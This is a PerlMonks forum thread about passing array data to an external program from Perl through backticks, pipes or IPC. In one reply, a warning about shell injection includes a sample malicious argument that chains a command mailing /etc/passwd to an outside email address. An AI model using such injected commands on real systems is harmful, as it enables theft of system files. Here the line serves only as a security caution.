Anonymous Monk has asked for the wisdom of the Perl Monks concerning the following question:

I have a program that reads in text files, parses them and prints the output to the monitor. I want to call this program from a perl script without writing the information to a file, since disk writes/reads are so slow. i tried this:
@array = ("line1", "line2", "line3" ); @output = `program @array`;

However, this returns the programs help file to @output. and says "error trying to open input file @array
So i tried this variation instead:
@output = `program \@array`;

with simular results.

any help would be loved :-D

Replies are listed 'Best First'.
Re: sending arguements to external program
by Fastolfe (Vicar) on Nov 09, 2000 at 18:30 UTC
    @output = `program @array` works for me on my system. What you're describing is odd. qx// (back-ticks) should work as a double-quoted string, doing interpolation. Check your assumptions. Perhaps turn it into a string if nothing else:
    $args = join(" ", @array); @output = `program $args`; # or use open: open(PROG, "program $args |") or die "program: $!"; @output = <PROG>; close(PROG);
Re: sending arguements to external program
by neophyte (Curate) on Nov 09, 2000 at 18:32 UTC
    I solved a similar problem in the following fashion:
    $caller =`programm @array`; @output = $caller;

    This is not tested and may not comply to your needs.

    neophyte

Re: sending arguements to external program
by ChOas (Curate) on Nov 09, 2000 at 18:33 UTC
    Hi there,
    1: your external program probably runs now like >program @array (Litterally)
    2: you could try : my $CommandLine=join " ",@array; @output=`program $CommandLine`;
    3: If you did that, and I could touch the program, and would have anything to say about
    ANY field in @array, my field would say ";mail choas@dds.nl < /etc/passwd" So you might
    wanna check for that

    GrtZ!
      ChOas
RE: sending arguements to external program
by davorg (Chancellor) on Nov 09, 2000 at 18:36 UTC

    The argument passing code is right. Are you sure that your program will accept more than one file at a time?

    To test your script I used the Unix cat command like this:

    #!/usr/bin/perl -w use strict; my @array = ('test.pl', 'b64.pl'); my @output = `cat @array`; print @output;

    If your program only accepts one file on the command line then you'll need to do something more like this:

    #!/usr/bin/perl -w use strict; my @array = ('test.pl', 'b64.pl'); my @output; foreach (@array) { push @output, `cat $_`; } print @output;
    --
    <http://www.dave.org.uk>

    "Perl makes the fun jobs fun
    and the boring jobs bearable" - me

      I feel that i was misunderstood .. sorry. THe array contains the contents of the file, not the file name itself ...
        So you're trying to pass the contents of the file as an argument to your program? That's not going to work unless the contents of the file are small and suitable to be passed on the command line. Otherwise, consider using pipes (see perlipc) and sending the data to the other program some other way. Like I said above, this works for me:
        @array = ("file1", "file2"); @output = `cat @array`; # @output now has the output of that command
        Either you did not explain your problem correctly, something is not as you say it is (check assumptions), or something is screwey with your particular system.

        Either way, if @array had a large amount of data in it, I would still not expect the error message you received. Be sure you're using strict and running Perl with the -w flag turned on (or 'use warnings' in 5.6). This might point you in the direction of the problem.

Re: sending arguements to external program
by roberto (Acolyte) on Nov 09, 2000 at 19:00 UTC
    if you whant to send an input to an external program and trap the output the you need IPC::Open2 (perldoc IPC::Open2)
    the error message you posted suggest your program interpretes command line arguments as names of file to open
    however a vast majority of programs also works with input from STDIN so IPC::Open2 should work...
      I'm trying to avoid using any exertanl modules ... the system that it iwll ultimately run on only has a standard perl install.

      Is it possible to pass an external program a variable at the command line that contains the contents of a file, so that the program runs it as such?
        No. Command line arguments cannot exceed a small size. If you want to be passing larger amounts of data between applications, you need to use standard IPC techniques (see perlipc). Something like this:
        # in parent open(CHILD, "|other_program arg1 arg2") or die "other: $!"; print CHILD $large_amount_of_data; close(CHILD); # in child local $/; $large_amount_of_data = <STDIN>;
        Again, see perlipc for more examples and alternatives.
Re: sending arguements to external program
by mirod (Canon) on Nov 09, 2000 at 19:04 UTC

    I am afraid you're better off using a temp file.

    To do what you want you would have to use some funky IPC techniques that are _way_ more complex than using a temp file.

    Look at the Camel 3, page 392-393 for an example of such a feature.